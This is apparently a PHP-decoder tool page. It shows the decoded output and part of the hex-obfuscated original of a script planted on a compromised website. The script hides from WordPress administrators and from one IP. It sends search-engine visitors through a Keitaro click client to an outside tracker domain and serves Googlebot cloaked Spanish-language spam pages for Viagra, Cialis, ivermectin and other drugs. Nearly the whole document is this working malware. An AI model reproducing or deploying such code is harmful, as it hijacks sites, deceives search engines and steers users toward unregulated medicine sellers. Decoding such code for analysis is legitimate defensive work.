Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!preg_match("\43\x77\x6f\162\x64\160\162\x65\x73\163\x5f\x61\x64\155\x69\156\1..
Decoded Output download
<?php
if (!preg_match("#wordpress_admin|wp-settings|wordpress_logged#im", implode(" ", array_keys($_COOKIE))) && $_SERVER["REMOTE_ADDR"] != "79.159.92.59") { error_reporting(0); $_0 = $_SERVER["HTTP_REFERER"]; $_1 = $_SERVER["REMOTE_ADDR"]; $_2 = $_SERVER["HTTP_USER_AGENT"]; $_3 = false; $_4 = array("5.253.63.0-5.253.63.255", "64.68.80.0-64.68.95.255", "66.249.64.0-66.249.95.255", "64.18.0.1-64.18.15.254", "64.233.160.1-64.233.191.254", "66.102.0.1-66.102.15.254", "72.14.192.1-72.14.255.254", "74.125.0.1-74.125.255.254", "173.194.0.1-173.194.255.254", "207.126.144.1-207.126.159.254", "209.85.128.1-209.85.255.254", "216.239.32.1-216.239.63.254", "72.14.199.0-72.14.199.255", "8.6.48.0-8.6.48.255", "67.195.0.0-67.195.255.255", "69.147.64.069.147.127.255", "72.30.64.072.30.255.255", "74.6.0.074.6.255.255", "65.52.0.065.55.255.255", "207.46.0.0207.46.255.255"); if (@stripos($_2, "Googlebot") !== false) { $_3 = true; } if (!$_3) { foreach ($_4 as $_5) { list($_6, $_7) = explode("-", $_5, round(0 + 1 + 1)); $_8 = (double) sprintf("%u", ip2long($_6)); $_9 = (double) sprintf("%u", ip2long($_7)); $_10 = (double) sprintf("%u", ip2long($_1)); if ($_10 >= $_8 && $_10 <= $_9) { $_3 = true; break; } } } $_11 = $_SERVER["REQUEST_URI"]; switch ($_11) { case "/libere-su-potencial-de-fertilidad-con-clomid/": $_12 = "clomid"; break; case "/compre-priligy-en-linea-y-mejore-sus-experiencias-sexuales/": $_12 = "priligy"; break; case "/consiga-un-cabello-mas-grueso-y-aumente-su-confianza---compre-avodart-ahora/": $_12 = "avodart"; break; case "/elimine-las-infecciones-con-diflucan---comprelo-ahora-y-ahorre/": $_12 = "diflucan"; break; case "/comprar-ventolin-online---alivio-rapido-de-los-sintomas-del-asma/": $_12 = "ventolin"; break; case "/obtenga-las-mejores-ofertas-en-amoxil---comprelo-con-un-gran-descuento/": $_12 = "amoxil"; break; case "/compre-motilium-en-linea-y-disfrute-de-una-oferta-de-descuento/": $_12 = "motilium"; break; case "/libere-el-potencial-de-su-cabello-con-propecia---compre-ahora-con-grandes-descuentos/": $_12 = "propecia"; break; case "/compre-robaxin-ahora-y-ahorre-a-lo-grande/": $_12 = "robaxin"; break; case "/revitalice-su-salud-con-lasix---comprelo-ahora-y-disfrute-de-precios-reducidos/": $_12 = "lasix"; break; case "/comprar-antabuse-guia-completa-para-el-tratamiento-de-la-adiccion-al-alcohol/": $_12 = "antabuse"; break; case "/compra-atarax-en-espana-alivio-efectivo-y-seguro-para-la-ansiedad-y-alergias/": $_12 = "atarax"; break; case "/compra-cenforce-en-espana-solucion-efectiva-para-la-disfuncion-erectil/": $_12 = "cenforce"; break; case "/cialis-black-en-espana-revoluciona-tu-vida-sexual-con-un-solo-clic/": $_12 = "cialis-black"; break; case "/adquiere-cialis-en-espana-tu-aliado-confiable-contra-la-disfuncion-erectil/": $_12 = "cialis"; break; case "/inderal-en-espa-a-controla-tu-coraz-n-y-ansiedad/": $_12 = "inderal"; break; case "/todo-sobre-comprar-ivermectin--consejos-expertos-para-una-adquisicion-segura-y-beneficiosa/": $_12 = "ivermectin"; break; case "/kamagra-revitaliza-tu-vida-sexual-en-espa-a/": $_12 = "kamagra"; break; case "/valtrex-tu-escudo-contra-el-herpes-en-espa-a/": $_12 = "valtrex"; break; case "/comprar-viagra-en-linea-lo-que-necesitas-saber-antes-de-comprar/": $_12 = "viagra-deepai"; break; case "/viagra-renueva-tu-energ-a-sexual-en-espa-a/": $_12 = "viagra-sver"; break; case "/vidalista-en-espa-a-potencia-duradera-para-ti/": $_12 = "vidalista"; break; case "/voltaren-alivio-r-pido-del-dolor-en-espa-a/": $_12 = "voltaren"; break; } if (!$_3) { if ((stripos($_0, "google.") || stripos($_0, "bing.")) && isset($_12)) { class KClient { const SESSION_SUB_ID = "sub_id"; const SESSION_LANDING_TOKEN = "landing_token"; const VERSION = 3; const STATE_SESSION_KEY = "keitaro_state"; const STATE_SESSION_EXPIRES_KEY = "keitaro_state_expires"; const DEFAULT_TTL = 1; const NOT_FOUND_STATUS = 404; private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array("api_key", "token", "language", "ua", "ip", "referrer", "force_redirect_offer"); private $_result; private $_stateRestored; private $_sessionsDisabled = false; const ERROR = "[KTrafficClient] Something is wrong. Enable debug mode to see the reason."; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param("info", 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : null; $this->setHttpClient(new KHttpClient()); $host = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : null; $requestUri = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : null; $this->ip($this->_findIp())->ua(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : null)->language(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? substr($_SERVER["HTTP_ACCEPT_LANGUAGE"], 0, 2) : '')->xRequestedWith(isset($_SERVER["HTTP_X_REQUESTED_WITH"]) ? $_SERVER["HTTP_X_REQUESTED_WITH"] : null)->seReferrer($referrer)->referrer($referrer)->param("original_headers", $this->_getAllHeaders())->param("original_host", isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : "localhost")->param("original_method", isset($_SERVER["REQUEST_METHOD"]) ? $_SERVER["REQUEST_METHOD"] : "GET")->param("uri", (!empty($_SERVER["HTTPS"]) ? "https" : "http") . "://" . $host . $requestUri)->param("kversion", "3.4"); if ($this->isPrefetchDetected()) { $this->param("prefetch", 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params["se_referrer"] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params["referrer"] = $referrer; return $this; } public function xRequestedWith($xRequestedWith) { $this->_params["x_requested_with"] = $xRequestedWith; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($trackerUrl) { if (!empty($trackerUrl)) { $request = parse_url($trackerUrl); $this->_trackerUrl = "{$request["scheme"]}://{$request["host"]}"; if (isset($request["port"])) { $this->_trackerUrl .= ":" . $request["port"]; } } } public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params["token"] = $campaignToken; return $this; } public function version($version) { $this->_params["version"] = $version; return $this; } public function ua($ua) { $this->_params["ua"] = $ua; return $this; } public function language($language) { $this->_params["language"] = $language; return $this; } public function keyword($keyword) { $this->_params["keyword"] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params["force_redirect_offer"] = 1; } public function ip($ip) { $this->_params["ip"] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, "utm_")) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION["token"] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("No sub_id is defined"); return "no_subid"; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log("No landing token is defined"); return "no_token"; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored() || $this->_sessionsDisabled) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log("State expired"); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log("State restored"); } } } public function disableSessions() { $this->_sessionsDisabled = true; } public function restoreFromQuery() { if (isset($_GET["_subid"])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET["_subid"]; $this->log("SubId loaded from query"); if (isset($_GET["_token"])) { $this->_result->info->token = $_GET["_token"]; $this->log("Landing token loaded from query"); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array("HTTP_X_PURPOSE" => "preview", "HTTP_X_MOZ" => "prefetch", "HTTP_X_FB_HTTP_ENGINE" => "Liger"); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), "/", $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log("Request: " . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log("Response: " . $result); } catch (KClientError $e) { if ($this->_debug) { throw $e; } else { $errorCode = $e->getHumanCode(); $errorCode = $errorCode ? $errorCode . " " : ''; echo $errorCode . self::ERROR; return; } } $this->_result = json_decode($result); $this->_storeState($this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies, $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $result = $this->performRequest(); $body = $this->_buildBody($result); if (!$print) { return $body; } $this->_sendHeaders($result); echo $body; } public function executeAndBreak() { $result = $this->performRequest(); $body = $this->_buildBody($result); $this->_sendHeaders($result); if (!empty($body)) { die($body); } if (!empty($result->headers) && ResponseExecutor::containsActionHeader($result->headers)) { die($body); } if (!empty($result->status) && $result->status == self::NOT_FOUND_STATUS) { die($body); } } public function getContent() { $result = $this->performRequest(); return $this->_buildBody($result); } public function showLog($separator = "<br />") { echo "<hr>" . implode($separator, $this->getLog()) . "<hr>"; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function getParams() { return $this->_params; } private function _sendHeaders($result) { $file = ''; $line = ''; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); return; } ResponseExecutor::sendHeaders($result); } private function _storeState($result, $ttl) { if ($this->_sessionsDisabled) { return; } $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + $ttl * 60 * 60; if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _buildBody($result) { $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, "image") || strstr($result->contentType, "application/pdf"))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function getOffer($params = array(), $fallback = "no_offer") { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log("Campaign hasn't returned offer"); return $fallback; } $params["_lp"] = 1; $params["_token"] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = "campaign") { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->{$level}) ? $result->info->uniqueness->{$level} : false; } } public function forceChooseOffer() { throw new \Error("forceChooseOffer was removed in KClient v3."); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $params = http_build_query($params); return "{$this->_trackerUrl}/?{$params}"; } private function _getCurrentPage() { if (isset($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == 443 || !empty($_SERVER["HTTPS"])) { $scheme = "https"; } else { $scheme = "http"; } return $scheme . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; } private function _buildRequestUrl() { return $this->_trackerUrl . "/click_api/v" . self::VERSION; } private function _findIp() { $ip = null; $headers = array("HTTP_X_FORWARDED_FOR", "HTTP_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_FORWARDED", "HTTP_CLIENT_IP", "HTTP_FORWARDED_FOR_IP", "X_FORWARDED_FOR", "FORWARDED_FOR", "X_FORWARDED", "FORWARDED", "CLIENT_IP", "FORWARDED_FOR_IP", "HTTP_CF_CONNECTING_IP", "HTTP_PROXY_CONNECTION"); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(",", $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ",")) { $tmp = explode(",", $ip); if (stristr($_SERVER["HTTP_USER_AGENT"], "mini")) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "127.0.0.1"; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER["HTTP_HOST"]) && substr_count($_SERVER["HTTP_HOST"], ".") < 3) { $host = "." . str_replace("www.", '', $_SERVER["HTTP_HOST"]); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts["cookies"] = preg_replace("/PHPSESSID=.*?;/si", '', $_SERVER["HTTP_COOKIE"]); } return $opts; } private function _getAllHeaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == "HTTP_") { $headers[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($name, 5)))))] = $value; } } return $headers; } } class ResponseExecutor { public static function sendHeaders($result) { if (!empty($result->headers)) { foreach ($result->headers as $header) { if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { static::_sendResponseCode($result->status); } if (!empty($result->contentType)) { $header = "content-type: " . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } } public static function containsActionHeader($headers) { if (empty($headers)) { return false; } foreach ($headers as $header) { if (strpos($header, "location:") === 0) { return true; } if (strstr($header, "404 Not Found")) { return true; } } return false; } private static function _sendResponseCode($code = null) { if ($code !== null) { switch ($code) { case 100: $text = "Continue"; break; case 101: $text = "Switching Protocols"; break; case 200: $text = "OK"; break; case 201: $text = "Created"; break; case 202: $text = "Accepted"; break; case 203: $text = "Non-Authoritative Information"; break; case 204: $text = "No Content"; break; case 205: $text = "Reset Content"; break; case 206: $text = "Partial Content"; break; case 300: $text = "Multiple Choices"; break; case 301: $text = "Moved Permanently"; break; case 302: $text = "Moved Temporarily"; break; case 303: $text = "See Other"; break; case 304: $text = "Not Modified"; break; case 305: $text = "Use Proxy"; break; case 400: $text = "Bad Request"; break; case 401: $text = "Unauthorized"; break; case 402: $text = "The license must be in Pro edition or higher"; break; case 403: $text = "Forbidden"; break; case 404: $text = "Not Found"; break; case 405: $text = "Method Not Allowed"; break; case 406: $text = "Not Acceptable"; break; case 407: $text = "Proxy Authentication Required"; break; case 408: $text = "Request Time-out"; break; case 409: $text = "Conflict"; break; case 410: $text = "Gone"; break; case 411: $text = "Length Required"; break; case 412: $text = "Precondition Failed"; break; case 413: $text = "Request Entity Too Large"; break; case 414: $text = "Request-URI Too Large"; break; case 415: $text = "Unsupported Media Type"; break; case 500: $text = "Internal Server Error"; break; case 501: $text = "Not Implemented"; break; case 502: $text = "Bad Gateway"; break; case 503: $text = "Service Unavailable"; break; case 504: $text = "Gateway Time-out"; break; case 505: $text = "HTTP Version not supported"; break; default: $text = ''; } $protocol = isset($_SERVER["SERVER_PROTOCOL"]) ? $_SERVER["SERVER_PROTOCOL"] : "HTTP/1.0"; header($protocol . " " . $code . " " . $text); } } } class KHttpClient { const UA = "KHttpClient"; public function request($url, $params, $opts = array()) { if (!in_array("curl", get_loaded_extensions())) { return json_encode(array("error" => "Curl extension must be instsalled")); } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts["cookies"]) ? $opts["cookies"] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if (curl_error($ch)) { throw new KClientError(curl_error($ch), curl_errno($ch)); } if (empty($result)) { throw new KClientError("Empty response"); } return $result; } } class KClientError extends Exception { const ERROR_UNKNOWN = "UNKNOWN"; public function getHumanCode() { switch ($this->getCode()) { case CURLE_HTTP_RETURNED_ERROR: preg_match("/The requested URL returned error: (?'errorCode'\d+).*$/", $this->getMessage(), $matches); $errorCode = isset($matches["errorCode"]) ? $matches["errorCode"] : "HTTP_ERROR_" . self::ERROR_UNKNOWN; return "[REQ_ERR: {$errorCode}]"; case CURLE_UNSUPPORTED_PROTOCOL: return "[REQ_ERR: UNSUPPORTED_PROTOCOL]"; case CURLE_FAILED_INIT: return "[REQ_ERR: FAILED_INIT]"; case CURLE_URL_MALFORMAT: return "[REQ_ERR: BAD_URL]"; case CURLE_COULDNT_RESOLVE_PROXY: return "[REQ_ERR: COULDNT_RESOLVE_PROXY]"; case CURLE_COULDNT_RESOLVE_HOST: return "[REQ_ERR: COULDNT_RESOLVE_HOST]"; case CURLE_COULDNT_CONNECT: return "[REQ_ERR: COULDNT_CONNECT]"; case CURLE_PARTIAL_FILE: return "[REQ_ERR: PARTIAL_FILE]"; case CURLE_READ_ERROR: return "[REQ_ERR: READ_ERROR]"; case CURLE_OUT_OF_MEMORY: return "[REQ_ERR: OUT_OF_MEMORY]"; case CURLE_OPERATION_TIMEDOUT: return "[REQ_ERR: OPERATION_TIMEDOUT]"; case CURLE_HTTP_POST_ERROR: return "[REQ_ERR: HTTP_POST_ERROR]"; case CURLE_BAD_FUNCTION_ARGUMENT: return "[REQ_ERR: BAD_FUNCTION_ARGUMENT]"; case CURLE_TOO_MANY_REDIRECTS: return "[REQ_ERR: TOO_MANY_REDIRECTS]"; case CURLE_GOT_NOTHING: return "[REQ_ERR: GOT_NOTHING]"; case CURLE_SEND_ERROR: return "[REQ_ERR: SEND_ERROR]"; case CURLE_RECV_ERROR: return "[REQ_ERR: RECV_ERROR]"; case CURLE_BAD_CONTENT_ENCODING: return "[REQ_ERR: BAD_CONTENT_ENCODING]"; case CURLE_SSL_CACERT: case CURLE_SSL_CACERT_BADFILE: case CURLE_SSL_CERTPROBLEM: case CURLE_SSL_CIPHER: case CURLE_SSL_CONNECT_ERROR: case CURLE_SSL_ENGINE_NOTFOUND: case CURLE_SSL_ENGINE_SETFAILED: case CURLE_SSL_PEER_CERTIFICATE: case CURLE_SSL_PINNEDPUBKEYNOTMATCH: return "[REQ_ERR: SSL]"; case CURLE_OK: return ''; default: return "[REQ_ERR: " . self::ERROR_UNKNOWN . "]"; } } } class_alias("KClient", "KClickClient"); $client = new KClient("https://maketophotlove.com/", "dcq6xrcjcd7lcg4ks3xcgsvsknwcycqp"); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param("sub_id_2", "pap.es"); $client->param("sub_id_1", $_12); $client->currentPageAsReferrer(); $client->executeAndBreak(); } } $_11 = $_SERVER["REQUEST_URI"]; $_15 = "/var/www/vhosts/exlibrisediciones.com/luaediciones.com/InformeUE2017/archivos/assets/basic-html/locals/"; $_16 = array("/kamagra-jelly/"); $_17 = array("kamoj.php"); switch ($_11) { case $_16[round(0)]: include $_15 . $_17[round(0)]; die; break; } $_1 = $_SERVER["REMOTE_ADDR"]; $_2 = $_SERVER["HTTP_USER_AGENT"]; $_3 = false; $_4 = array("5.253.63.0-5.253.63.255", "64.68.80.0-64.68.95.255", "66.249.64.0-66.249.95.255", "64.18.0.1-64.18.15.254", "64.233.160.1-64.233.191.254", "66.102.0.1-66.102.15.254", "72.14.192.1-72.14.255.254", "74.125.0.1-74.125.255.254", "173.194.0.1-173.194.255.254", "207.126.144.1-207.126.159.254", "209.85.128.1-209.85.255.254", "216.239.32.1-216.239.63.254", "72.14.199.0-72.14.199.255", "8.6.48.0-8.6.48.255", "67.195.0.0-67.195.255.255", "69.147.64.069.147.127.255", "72.30.64.072.30.255.255", "74.6.0.074.6.255.255", "65.52.0.065.55.255.255", "207.46.0.0207.46.255.255"); if (@stripos($_2, "Googlebot") !== false) { $_3 = true; } if (!$_3) { foreach ($_4 as $_5) { list($_6, $_7) = explode("-", $_5, round(0 + 0.5 + 0.5 + 0.5 + 0.5)); $_8 = (double) sprintf("%u", ip2long($_6)); $_9 = (double) sprintf("%u", ip2long($_7)); $_10 = (double) sprintf("%u", ip2long($_1)); if ($_10 >= $_8 && $_10 <= $_9) { $_3 = true; break; } } } $_11 = $_SERVER["REQUEST_URI"]; if ($_3) { switch ($_11) { case "/libere-su-potencial-de-fertilidad-con-clomid/": include $_15 . "libere-su-potencial-de-fertilidad-con-clomid.html"; die; break; case "/compre-priligy-en-linea-y-mejore-sus-experiencias-sexuales/": include $_15 . "compre-priligy-en-linea-y-mejore-sus-experiencias-sexuales.html"; die; break; case "/consiga-un-cabello-mas-grueso-y-aumente-su-confianza---compre-avodart-ahora/": include $_15 . "consiga-un-cabello-mas-grueso-y-aumente-su-confianza---compre-avodart-ahora.html"; die; break; case "/elimine-las-infecciones-con-diflucan---comprelo-ahora-y-ahorre/": include $_15 . "elimine-las-infecciones-con-diflucan---comprelo-ahora-y-ahorre.html"; die; break; case "/comprar-ventolin-online---alivio-rapido-de-los-sintomas-del-asma/": include $_15 . "comprar-ventolin-online---alivio-rapido-de-los-sintomas-del-asma.html"; die; break; case "/obtenga-las-mejores-ofertas-en-amoxil---comprelo-con-un-gran-descuento/": include $_15 . "obtenga-las-mejores-ofertas-en-amoxil---comprelo-con-un-gran-descuento.html"; die; break; case "/compre-motilium-en-linea-y-disfrute-de-una-oferta-de-descuento/": include $_15 . "compre-motilium-en-linea-y-disfrute-de-una-oferta-de-descuento.html"; die; break; case "/libere-el-potencial-de-su-cabello-con-propecia---compre-ahora-con-grandes-descuentos/": include $_15 . "libere-el-potencial-de-su-cabello-con-propecia---compre-ahora-con-grandes-descuentos.html"; die; break; case "/compre-robaxin-ahora-y-ahorre-a-lo-grande/": include $_15 . "compre-robaxin-ahora-y-ahorre-a-lo-grande.html"; die; break; case "/revitalice-su-salud-con-lasix---comprelo-ahora-y-disfrute-de-precios-reducidos/": include $_15 . "revitalice-su-salud-con-lasix---comprelo-ahora-y-disfrute-de-precios-reducidos.html"; die; break; case "/comprar-antabuse-guia-completa-para-el-tratamiento-de-la-adiccion-al-alcohol/": include $_15 . "antabuse.html"; die; break; case "/compra-atarax-en-espana-alivio-efectivo-y-seguro-para-la-ansiedad-y-alergias/": include $_15 . "atarax.html"; die; break; case "/compra-cenforce-en-espana-solucion-efectiva-para-la-disfuncion-erectil/": include $_15 . "cenforce.html"; die; break; case "/cialis-black-en-espana-revoluciona-tu-vida-sexual-con-un-solo-clic/": include $_15 . "cialis-black.html"; die; break; case "/adquiere-cialis-en-espana-tu-aliado-confiable-contra-la-disfuncion-erectil/": include $_15 . "cialis.html"; die; break; case "/inderal-en-espa-a-controla-tu-coraz-n-y-ansiedad/": include $_15 . "inderal.html"; die; break; case "/todo-sobre-comprar-ivermectin--consejos-expertos-para-una-adquisicion-segura-y-beneficiosa/": include $_15 . "ivermectin.html"; die; break; case "/kamagra-revitaliza-tu-vida-sexual-en-espa-a/": include $_15 . "kamagra.html"; die; break; case "/valtrex-tu-escudo-contra-el-herpes-en-espa-a/": include $_15 . "valtrex.html"; die; break; case "/comprar-viagra-en-linea-lo-que-necesitas-saber-antes-de-comprar/": include $_15 . "viagra-deepai.html"; die; break; case "/viagra-renueva-tu-energ-a-sexual-en-espa-a/": include $_15 . "viagra-sver.html"; die; break; case "/vidalista-en-espa-a-potencia-duradera-para-ti/": include $_15 . "vidalista.html"; die; break; case "/voltaren-alivio-r-pido-del-dolor-en-espa-a/": include $_15 . "voltaren.html"; die; break; } } } ?>
Did this file decode correctly?
Original Code
<?php
if (!preg_match("\43\x77\x6f\162\x64\160\162\x65\x73\163\x5f\x61\x64\155\x69\156\174\x77\x70\x2d\x73\145\164\x74\151\156\147\163\174\x77\x6f\162\144\160\162\145\163\163\x5f\x6c\157\x67\x67\x65\144\x23\x69\x6d", implode("\40", array_keys($_COOKIE))) && $_SERVER["\x52\105\115\117\124\x45\x5f\101\104\104\122"] != "\67\71\x2e\x31\x35\x39\x2e\71\62\x2e\x35\x39") { error_reporting(0); $_0 = $_SERVER["\x48\x54\x54\120\x5f\x52\105\x46\x45\x52\x45\x52"]; $_1 = $_SERVER["\122\x45\x4d\117\124\105\x5f\x41\104\x44\x52"]; $_2 = $_SERVER["\110\x54\124\120\137\x55\x53\105\x52\x5f\x41\x47\x45\116\124"]; $_3 = false; $_4 = array("\x35\56\x32\65\x33\56\x36\x33\56\60\55\65\x2e\62\65\x33\x2e\x36\x33\56\x32\x35\x35", "\66\64\56\66\x38\x2e\x38\x30\x2e\60\x2d\x36\64\56\66\x38\x2e\x39\65\56\62\x35\65", "\x36\66\56\x32\64\71\56\66\x34\56\60\55\66\66\56\x32\x34\x39\x2e\x39\65\x2e\62\x35\65", "\66\64\x2e\61\70\56\x30\x2e\x31\55\x36\64\56\61\70\56\x31\x35\x2e\62\x35\x34", "\66\64\x2e\x32\x33\x33\56\x31\x36\60\x2e\x31\x2d\x36\x34\x2e\x32\63\63\x2e\61\x39\61\x2e\x32\x35\x34", "\66\x36\x2e\x31\60\62\x2e\60\56\x31\x2d\x36\66\56\61\x30\x32\x2e\61\65\x2e\x32\x35\64", "\x37\x32\56\x31\64\56\x31\71\x32\56\x31\55\67\x32\x2e\61\x34\56\x32\65\x35\x2e\62\x35\x34", "\x37\x34\x2e\x31\x32\x35\56\x30\56\x31\x2d\67\64\56\61\62\65\x2e\62\x35\x35\56\62\65\x34", "\61\x37\63\56\x31\x39\x34\x2e\60\x2e\61\55\61\67\x33\56\x31\71\x34\x2e\62\x35\x35\x2e\x32\65\x34", "\x32\60\67\56\61\62\66\56\x31\64\x34\x2e\61\55\x32\60\67\x2e\61\x32\x36\56\61\65\x39\x2e\62\x35\64", "\62\x30\x39\56\x38\x35\56\61\62\70\x2e\x31\55\x32\x30\x39\x2e\70\x35\x2e\62\65\65\56\62\x35\64", "\62\61\x36\56\x32\63\x39\x2e\63\x32\x2e\61\55\62\61\x36\x2e\x32\63\x39\56\66\x33\56\x32\65\x34", "\x37\x32\x2e\x31\x34\56\x31\71\71\56\x30\55\x37\x32\x2e\x31\x34\x2e\x31\71\71\56\62\x35\65", "\x38\56\x36\56\64\x38\56\x30\x2d\x38\x2e\x36\x2e\64\70\x2e\x32\x35\65", "\66\x37\x2e\61\71\65\x2e\x30\x2e\x30\55\66\67\56\61\71\65\56\x32\65\65\x2e\x32\65\x35", "\66\71\56\61\x34\x37\56\x36\64\56\x30\342\x80\x93\66\71\56\x31\x34\x37\56\61\62\x37\x2e\x32\x35\65", "\x37\62\56\x33\60\56\x36\64\x2e\60\342\200\x93\x37\62\x2e\63\60\x2e\62\x35\65\x2e\62\x35\x35", "\67\x34\56\66\x2e\60\56\60\xe2\200\223\x37\64\x2e\66\56\62\x35\65\56\62\65\x35", "\66\x35\x2e\x35\62\56\60\56\x30\xe2\x80\223\66\x35\x2e\x35\x35\x2e\x32\65\65\56\x32\65\65", "\x32\60\67\56\64\66\56\60\x2e\x30\342\200\x93\x32\60\67\x2e\64\x36\56\x32\x35\x35\x2e\62\65\x35"); if (@stripos($_2, "\x47\157\x6f\147\x6c\x65\142\x6f\x74") !== false) { $_3 = true; } if (!$_3) { foreach ($_4 as $_5) { list($_6, $_7) = explode("\55", $_5, round(0 + 1 + 1)); $_8 = (double) 